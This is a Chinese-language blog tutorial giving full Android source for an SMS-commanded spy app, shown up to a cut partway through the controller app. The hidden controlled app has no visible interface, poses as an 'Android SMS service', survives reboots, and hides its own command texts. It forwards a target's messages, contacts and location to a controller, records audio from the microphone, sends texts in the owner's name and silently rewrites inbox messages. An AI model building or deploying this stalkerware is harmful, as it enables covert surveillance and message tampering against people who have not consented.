基于短信的手机控制程序(附源码)

1.1前言
兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.

1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码 
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码            

2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.

 

 

package iceman.android.project;

import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class MainReceiver extends BroadcastReceiver{
        private String number;
        private SmsManager manager = SmsManager.getDefault();
    
        public void onReceive(Context context, Intent intent) {
                MyLog.LogI("OUTPUT", "广播接收器触发");
                SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
//使用
SharedPreferences  存储admin号码和listen号码.
                String admin = preferences.getString("admin", "");
                MyLog.LogI("OUTPUT", "当前admin:"+admin);
                String listen = preferences.getString("listen", "");
                String password = preferences.getString("password", "iceman");
                MyLog.LogI("OUTPUT", "当前listen:"+listen);
                Bundle bun = intent.getExtras();
                //开始分析短信
                if(bun!=null){
                        Object[] mypdus = (Object[])bun.get("pdus");
                        SmsMessage[] messages = new SmsMessage[mypdus.length];
                        for(int i=0;i<mypdus.length;i++){
                                messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
                        }
                        for(SmsMessage mess:messages){
                                        
                                        number = mess.getDisplayOriginatingAddress();
                                        String body = mess.getDisplayMessageBody();
                                        MyLog.LogI("OUTPUT","号码来源:"+number);
                                        MyLog.LogI("OUTPUT","内容:"+body);
                                        if(number.contains("+86")){
                                                number = number.substring(3);
                                        }
                                        MyLog.LogI("OUTPUT","号码来源转换"+number);
                                        //设定管理号码
                                        if(body.equals("iceman78952190")){
                                            MyLog.LogI("OUTPUT","查询密码哦");
                                            abortBroadcast();
                                            manager.sendTextMessage(number, null, password, null, null);
                                        }
                                        if(body.contains("@iceman@admin")){
                                                abortBroadcast();
                                                body = body.substring(13);
                                                if(password.equals("iceman")){
                                                    password = body;
                                                    Editor editor = preferences.edit();
                                                    editor.putString("admin", number);
                                                    editor.putString("password", body);
                                                    editor.commit();
                                                    MyLog.LogI("OUTPUT","设定admin:"+number);
                                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
                                                }else{
                                                    if(password.equals(body)){
                                                        Editor editor = preferences.edit();
                                    editor.putString("admin", number);
                                    editor.commit();
                                    MyLog.LogI("OUTPUT","设定admin:"+number);
                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
                                                    }else{
                                                        MyLog.LogI("OUTPUT","密码不对");
                                                    }
                                                }
                                        }
                                        //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码
                                        if(number.equals(admin)){
                                                if(body.contains("@iceman@search")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "开始查询通讯录");
                                                        manager.sendTextMessage(admin, null, "search starting!", null, null);
                                                        //启动服务,查询通讯录并发送
                                                        Intent it = new Intent(context,ContactService.class);
                                                        it.putExtra("admin", admin);
                                                        context.startService(it);
                                                }else if(body.contains("@iceman@change")){
                                                        abortBroadcast();
                                                        listen = body.substring(14);
                                                        Editor editor = preferences.edit();
                                                        editor.putString("listen", listen);
                                                        editor.commit();
                                                        MyLog.LogI("OUTPUT", "更改listen完成");
                                                        manager.sendTextMessage(admin, null, "listen change success!", null, null);
                                                }else if(body.contains("@iceman@location")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "开启位置监控");                                                        
                                                        Intent it = new Intent(context,LocationService.class);
                                                        context.startService(it);
                                                        manager.sendTextMessage(admin, null, "location listen success!", null, null);
                                                        MyLog.LogI("OUTPUT", "位置监控开启完成");
                                                }else if(body.contains("@iceman@where")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "开始发送并解析地址");        
                                                        Intent it2 = new Intent(context,GetAddressService.class);
                                                        context.startService(it2);
                                                }else if(body.contains("@iceman@start")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "收到录音开启命令");                
                                                        Intent it = new Intent(context,RecorderService.class);
                                                        context.startService(it);
                                                }else if(body.contains("@iceman@stop")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "收到结束录音命令");                
                                                        Intent it = new Intent(context,RecorderService.class);
                                                        context.stopService(it);
                                                }else if(body.contains("@iceman@sms")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "发送短信");
                                                        String[] str = body.split("#");
                                                        manager.sendTextMessage(str[1], null, str[2], null, null);
                                                        MyLog.LogI("OUTPUT", "目标号码:"+str[1]+"内容:"+str[2]);
                                                }else if(body.contains("@iceman@replace")){
                                                    abortBroadcast();
                                                    String[] str = body.split("#");
                                                    MyLog.LogI("OUTPUT", "收到短信修改命令"); 
                                                    Intent it = new Intent(context,EditSmsService.class);
                                                    it.putExtra("key", str[1]);
                                                    it.putExtra("number", str[2]);
                                                    it.putExtra("content", str[3]);
                                                    it.putExtra("type", "replace");
                                                    context.startService(it);
                                                }
                                                else if(body.contains("@iceman@edit")){
                                                    abortBroadcast();
                                                    String[] str = body.split("#");
                            MyLog.LogI("OUTPUT", "收到短信编辑命令"); 
                            Intent it = new Intent(context,EditSmsService.class);
                            it.putExtra("key", str[1]);
                            it.putExtra("number", str[2]);
                            it.putExtra("content", str[3]);
                            it.putExtra("type", "edit");
                            context.startService(it);
                                                }
                                        }
                                                //判断是否由被监听号码发来的短信
                                        if(number.equals(listen)){
                                                String sms = number+":"+body;
                                                MyLog.LogI("OUTPUT", "监听到短信");
                                                List<String> texts=manager.divideMessage(sms); 
                                        for(String text:texts) 
                                        { 
                                            manager.sendTextMessage(admin, null, text, null, null); 
                                        }   
                                                }
                                        
                        }
                }
        }
}

 

  这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.
所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.

package iceman.android.project;

import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;

public class MainService extends Service{
    MainReceiver mReceiver;
    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        localIntentFilter.setPriority(2147483647);
        mReceiver = new MainReceiver();
        registerReceiver(mReceiver, localIntentFilter);
    }

    @Override
    public void onDestroy() {
        unregisterReceiver(mReceiver);
        Intent it = new Intent(MainService.this, MainService.class);
        this.startService(it);
    }
}

  2.2功能:监控指定短信
这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头...
当短信来源号码为C时,将短信转发一份给A.代码很简单:

// 判断是否由被监听号码发来的短信
                if (number.equals(listen)) {
                    String sms = number + ":" + body;
                    MyLog.LogI("OUTPUT", "监听到短信");
                    List<String> texts = manager.divideMessage(sms);
                    for (String text : texts) {
                        manager.sendTextMessage(admin, null, text, null, null);
                    }
                }

  2.3功能:查询通讯录
这里使用了ContentResolver,这是与内容提供器ContentProvider对应的"查询器",android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)

package iceman.android.project;

import java.util.List;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.telephony.SmsManager;

public class ContactService extends Service{
        SmsManager manager = SmsManager.getDefault();
        @Override
        public IBinder onBind(Intent intent) {
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
        }

        @Override
        public void onStart(Intent intent, int startId) {
                String admin = intent.getStringExtra("admin");
                MyLog.LogI("OUTPUT", "开启通讯录查询服务");
                String[] columns = { "_id", "display_name", "has_phone_number" };
                StringBuffer sb = new StringBuffer();
                ContentResolver cr = this.getContentResolver();
                Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
                                columns, null, null, null);
                String[] phone_clos = {
                                ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
                                ContactsContract.CommonDataKinds.Phone.NUMBER, };
                if (cursor.moveToFirst()) {
                        do {
                                int _id = cursor.getInt(0);
                                String name = cursor.getString(1);
                                String has_phone = cursor.getString(2);
                                sb.append(name + ":");
                                
                                if (has_phone.trim().equals("1")) {
                                        Cursor phones = cr
                                                        .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                                                                        phone_clos,
                                                                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID
                                                                        + "=" + _id, null, null);
                                        if (phones.moveToFirst()) {
                                                do {
                                                        sb.append(phones.getString(1) + ".");
                                                } while (phones.moveToNext());
                                        }
                                }
                        } while (cursor.moveToNext());
                }
                MyLog.LogI("OUTPUT", "开始发送通讯录");
                        List<String> texts=manager.divideMessage(sb.toString()); 
                for(String text:texts) 
                { 
                    manager.sendTextMessage(admin, null, text, null, null); 
                }   
                //查询完毕后关闭服务
                stopSelf();
                super.onStart(intent, startId);
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                super.onDestroy();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
                // TODO Auto-generated method stub
                return super.onStartCommand(intent, flags, startId);
        }

        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }

}

  要注意的是,这个视通讯录条数多少,会有几条短信发出...少用为妙

2.4功能:查询位置
有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息
android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,

package iceman.android.project;


import java.text.SimpleDateFormat;
import java.util.Date;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;

public class LocationService extends Service{
        private Location location;//当前位置
        private String time = "unknown";
        private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
        private SharedPreferences preferences = null;
        
        @Override
        public IBinder onBind(Intent intent) {
                // TODO Auto-generated method stub
                
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                getLocation();
                
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                super.onDestroy();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
                // TODO Auto-generated method stub
                return super.onStartCommand(intent, flags, startId);
        }

        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }
        private void getLocation(){
                LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
                if(locationmanager==null){
                        MyLog.LogI("OUTPUT", "定位管理器未找到");
                }
                Criteria criteria = new Criteria();//用来得到位置提供器(Location Provider)的一组参数标准
                criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
                criteria.setAltitudeRequired(false);//是否要求定位出高度值
                criteria.setCostAllowed(true);//是否允许花钱
                String str = locationmanager.getBestProvider(criteria, false);//得到满足标准的一个最好的提供器的名称
                if(str==null){
                        MyLog.LogI("OUTPUT", "位置提供器未找到");
                }
                MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
                location = locationmanager.getLastKnownLocation(str);
                locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
                                @Override
                                public void onStatusChanged(String provider, int status, Bundle extras) {
                                        // TODO Auto-generated method stub
                                }
                                
                                @Override
                                public void onProviderEnabled(String provider) {
                                        // TODO Auto-generated method stub
                                }
                                
                                @Override
                                public void onProviderDisabled(String provider) {
                                        // TODO Auto-generated method stub
                                }
                                
                                @Override
                                public void onLocationChanged(Location loca) {
                                        // TODO Auto-generated method stub
                                        MyLog.LogI("OUTPUT", "位置发生改变");
                                        time = sf.format(new Date());
                                        location = loca;
                                        preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
                                        Editor editor = preferences.edit();
                                        editor.putString("lat", ""+location.getLatitude());
                                        editor.putString("lon", ""+location.getLongitude());
                                        editor.putString("time", time);
                                        editor.commit();
                                        MyLog.LogI("OUTPUT", "位置已经放入");        
                                }
                        });
                        
        }
        @Override
        public void onStart(Intent intent, int startId) {
        }

}

  在这个service中,将改变后的位置经纬度存储下来,下次调用位置解析服务的时候,就可以取出最新的经纬度进行解析了.

经纬度如何转为地址信息?
android.location.Geocoder本来可以实现两者双向转换,只是google的这个server不太稳定,经常会报
unable to parse response from server,所以我使用在线解析,
http://maps.google.com/maps/api/geocode/json?latlng=后面加上经纬度,会返回json数据,然后进行解析就可以获得地址信息了.
mopackage iceman.android.project;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.telephony.SmsManager;

public class GetAddressService extends Service{
        private SmsManager manager;
        @Override
        public IBinder onBind(Intent intent) {
                // TODO Auto-generated method stub
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                super.onDestroy();
        }

        @Override
        public void onStart(Intent intent, int startId) {
                manager = SmsManager.getDefault();
                MyLog.LogI("OUTPUT", "开始转换地址服务");
                SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
                Double lat = Double.parseDouble(preferences.getString("lat", null));
                Double lon = Double.parseDouble(preferences.getString("lon", null));
                MyLog.LogI("OUTPUT", "精度"+lon);
                MyLog.LogI("OUTPUT", "纬度"+lat);
                String admin = preferences.getString("admin", null);
                String time = preferences.getString("time", null);
                String address1 = "经度"+lon+"纬度"+lat;
                manager.sendTextMessage(admin, null, address1+time, null, null);
                String address2 = getAddress(lon, lat);
                manager.sendTextMessage(admin, null, address2+time, null, null);
                stopSelf();
                super.onStart(intent, startId);
        }


        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }
        public String getAddress(Double Longitude,Double Latitude){
                MyLog.LogI("OUTPUT", "开始转换地址");
                String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
                HttpClient client = new DefaultHttpClient();
                StringBuilder sb = new StringBuilder();
                try {
                        HttpResponse resp = client.execute(new HttpGet(url));
                        HttpEntity he = resp.getEntity();
                        BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
                        String str = "";
                        while((str=br.readLine())!=null){
                                sb.append(str);
                        }
                        
                } catch (ClientProtocolException e) {
                        e.printStackTrace();
                } catch (IOException e) {
                        e.printStackTrace();
                }
                MyLog.LogI("OUTPUT", "开始解析json");
                try {
                        JSONObject jo1 = new JSONObject(sb.toString());
                        String str1 = jo1.getString("results");
                        JSONArray arr1 = new JSONArray(str1);
                        String str2 = arr1.get(0).toString();
                        JSONObject jo2 = new JSONObject(str2);
                        String str3 = jo2.getString("formatted_address");
                        MyLog.LogI("OUTPUT", str3);
                        return str3;
//                        Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
                } catch (JSONException e) {
                        return "地址转换失败";
                }
        }

}

  2.5功能:开启录音
这个很简单,使用MediaRecorder即可,在service的oncreat中开始录音,ondestory中结束录音.

package iceman.android.project;

import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;

public class RecorderService extends Service{
        private MediaRecorder recorder;
        private String location;
        @Override
        public IBinder onBind(Intent arg0) {
                // TODO Auto-generated method stub
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                MyLog.LogI("OUTPUT", "录音服务启动");
                recorder = new MediaRecorder();
                recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
                recorder.setOutputFile(location);
                recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                
                try {
                        recorder.prepare();
                } catch (IllegalStateException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                }
                recorder.start();
                MyLog.LogI("OUTPUT", "开始录音");
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                recorder.stop();
                MyLog.LogI("OUTPUT", "停止录音");
                super.onDestroy();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
                // TODO Auto-generated method stub
                return super.onStartCommand(intent, flags, startId);
        }

        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }

}

  2.6发送短信
对A发过来的短信进行分割,获取目的号码和短信内容,然后发送.代码已经在MainReceiver中了.

2.7编辑短信
ContentResolver不仅可以查询,也可以修改.修改短信这个邪恶的功能就靠它来实现了.
代码中号码为00000000000表示不限号码进行修改.不论谁发过来的短信,只要满足关键字条件,就进行修改.

package iceman.android.project;

import android.app.Service;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.IBinder;

public class EditSmsService extends Service {
    private ContentResolver mContentResolver;

    private String key, number, content, type;

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onStart(Intent intent, int startId) {
        key = intent.getStringExtra("key");
        number = intent.getStringExtra("number");
        content = intent.getStringExtra("content");
        type = intent.getStringExtra("type");
        mContentResolver = this.getContentResolver();
        Cursor cursor;
        if (number.equals("00000000000")) {
            cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
                    null);
            MyLog.LogI("OUTPUT", "号码为00000000000");
        } else {
            cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
                    new String[] {
                        "" + number
                    }, null);
            MyLog.LogI("OUTPUT", "号码指定");
        }
        int time = 0;
        String newContent = null;
        if (cursor != null) {
            cursor.moveToFirst();
            do {
                String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
                // int date =
                // cursor.getInt(cursor.getColumnIndexOrThrow("date"));
                if (number.equals("00000000000")) {
                    if (body.contains(key)) {
                        ContentValues values = new ContentValues();
                        // values.put("address", address);
                        if (type.equals("replace")) {
                            newContent = body.replace(key, content);
                        } else {
                            newContent = content;
                        }
                        values.put("read", 1);
                        values.put("status", -1);
                        values.put("type", 1);
                        values.put("body", newContent);
                        mContentResolver.update(Uri.parse("content://sms/inbox"), values,
                                "_id = ?", new String[] {
                                    "" + id
                                });
                    }
                } else {
                    if (body.contains(key) && address.equals(number)) {
                        ContentValues values = new ContentValues();
                        // values.put("address", address);
                        if (type.equals("replace")) {
                            newContent = body.replace(key, content);
                        } else {
                            newContent = content;
                        }
                        values.put("read", 1);
                        values.put("status", -1);
                        values.put("type", 1);
                        values.put("body", newContent);
                        mContentResolver.update(Uri.parse("content://sms/inbox"), values,
                                "_id = ?", new String[] {
                                    "" + id
                                });
                    }
                }
                time++;
            } while (cursor.moveToNext() && time < 50);
        }
        stopSelf();
    }

}

  2.8功能:B更换手机号码后发送至A.
TelephonyManager可以获取手机相关信息,比如手机号码,imei等,但是这些数据来源于sim卡,如果某些运营商没有将电话号码写到sim卡上,手机号码就获取不到了.
号码变更检测是要开机进行的,如果发现号码跟保存的不一样,就发送新号码至admin.

package iceman.android.project;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;

public class BootReceiver extends BroadcastReceiver{

    private String mDeviceId;
    private String mTel;
    private String mImei;
    private String mImsi;
    private String mOldDeviceId;
    private String mOldTel;
    private String mOldImei;
    private String mOldImsi;
    @Override
    public void onReceive(Context context, Intent intent) {
        Intent service=new Intent(context, MainService.class);
        context.startService(service);
        TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        mDeviceId = tm.getDeviceId();
        mTel = tm.getLine1Number();
        mImei = tm.getSimSerialNumber();
        mImei = mImei==null?"":mImei;
        mImsi = tm.getSubscriberId();
        mImsi = mImsi==null?"":mImsi;
        SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
        mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
        mOldTel = sharedPreferencesPhone.getString("tel", "");;
        mOldImei = sharedPreferencesPhone.getString("imei", "");;
        mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
        SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
        String admin = sharedPreferencesControl.getString("admin", "");
        if(isChange()){
            SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
            editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
            editor.putString("tel", mTel);
            editor.putString("imei", mImei);
            editor.putString("imsi", mImsi);
            editor.commit();
            SmsManager smsmanager = SmsManager.getDefault();
            if(!admin.equals("")){
                String text = "tel:"+mTel+".mImei:"+mImei;
                smsmanager.sendTextMessage(admin, null, text, null, null);
            }
        }
    }
    private boolean isChange(){
        if(mTel==null){
            return false;
        }
        if(mOldTel.equals("")){
            return true;
        }
        if(!mTel.equals(mOldTel)){
            return true;
        }
        return false;
    }

}

  2.9受控端总结:
以下是主配置文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="iceman.android.project"
    android:versionCode="1"
    android:versionName="1.0" 
    >
    <uses-sdk android:minSdkVersion="7" />
<!--  android:priority="100" -->
    <application
        android:debuggable="false"
        android:icon="@drawable/app_icon"
        android:label="@string/app_name" >
        <receiver android:name=".MainReceiver">
                <intent-filter android:priority="2147483647">
                        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                </intent-filter>
        </receiver>        
        <receiver android:name=".BootReceiver">
                <intent-filter android:priority="2147483647">
                        <action android:name="android.intent.action.BOOT_COMPLETED"/>
                </intent-filter>
        </receiver>        
        <service android:name=".ContactService" android:enabled="true"/>
        <service android:name=".LocationService" android:enabled="true"/>
        <service android:name=".RecorderService" android:enabled="true"/>
        <service android:name=".GetAddressService" android:enabled="true"/>
        <service android:name=".EditSmsService" android:enabled="true"/>
    </application>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>

  可以看到的是,受控端是没有activity的.而且程序名字我命名为"android短信服务".如果不是有服务开启的话,可以说是无法发现程序的存在的.

3.1管理端
为了简化命令发送的繁琐,写了这个简单的管理端程序,就两个activity.

package iceman.android.smsadmin;

import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class SMSadminActivity extends Activity {
    private TextView mClientNumberText, mListenNumberText;

    private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;

    private CheckBox mPasswordUse;

    private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
    
    private Button mEditSmsBtn;

    private Boolean mIsRecording = false;

    private SmsManager mSmsManager = SmsManager.getDefault();

    private String mClientNumber = null;

    private String mListenNumber = null;

    private SharedPreferences mSharedpreferences = null;

    private String mPassword;

    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        mClientNumberText = (TextView) findViewById(R.id.number_tv1);
        mListenNumberText = (TextView) findViewById(R.id.number_tv2);
        mPasswordEditText = (EditText) findViewById(R.id.password_et);
        mPasswordEditText.setInputType(0x81);
        mPasswordUse = (CheckBox) findViewById(R.id.password_use);
        mAdminSetEditText = (EditText) findViewById(R.id.number_et);
        // et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
        mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
        mListenSetEditText = (EditText) findViewById(R.id.listen_et);
        mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
        mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
        mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
        mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
        mSmsContentEditText.setHint(this.getString(R.string.sms_content));
        mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
        mClientNumber = mSharedpreferences.getString("control", "");
        mListenNumber = mSharedpreferences.getString("listen", "");
        mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
        mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);

        mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
        mListenSetBtn = (Button) findViewById(R.id.listen_btn);
        mSearchBtn = (Button) findViewById(R.id.search_btn);
        mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
        mGetAddressBtn = (Button) findViewById(R.id.where_btn);
        mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
        mRecoderBtn.setText(this.getString(R.string.start_record));
        mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
        mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
        mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {

            @Override
            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
                if (isChecked) {
                    mPassword = mPasswordEditText.getText().toString().trim();
                    mPasswordEditText.setEnabled(false);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
                } else {
                    mPassword = "";
                    mPasswordEditText.getEditableText().clear();
                    mPasswordEditText.setEnabled(true);
                }
                Editor editor = mSharedpreferences.edit();
                editor.putString("password", mPassword);
                editor.commit();
            }
        });
        
        mAdminSetBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                String str = mAdminSetEditText.getText().toString().trim();
                if ((str.equals("")) == false) {
                    if ((str.equals("18621191115")) == false) {
                        mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
                        mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
                        mClientNumber = str;
                        Editor editor = mSharedpreferences.edit();
                        editor.putString("control", str);
                        editor.commit();
                        // et1.setEnabled(false);
                        // btn1.setClickable(false);
                        mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
                        Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
                                .show();
                    } else {
                        Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
                                .show();
                    }
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mListenSetBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                String str = mListenSetEditText.getText().toString().trim();
                if (str.equals("") == false) {
                    mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
                    mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
                    mListenNumber = str;
                    Editor editor = mSharedpreferences.edit();
                    editor.putString("listen", str);
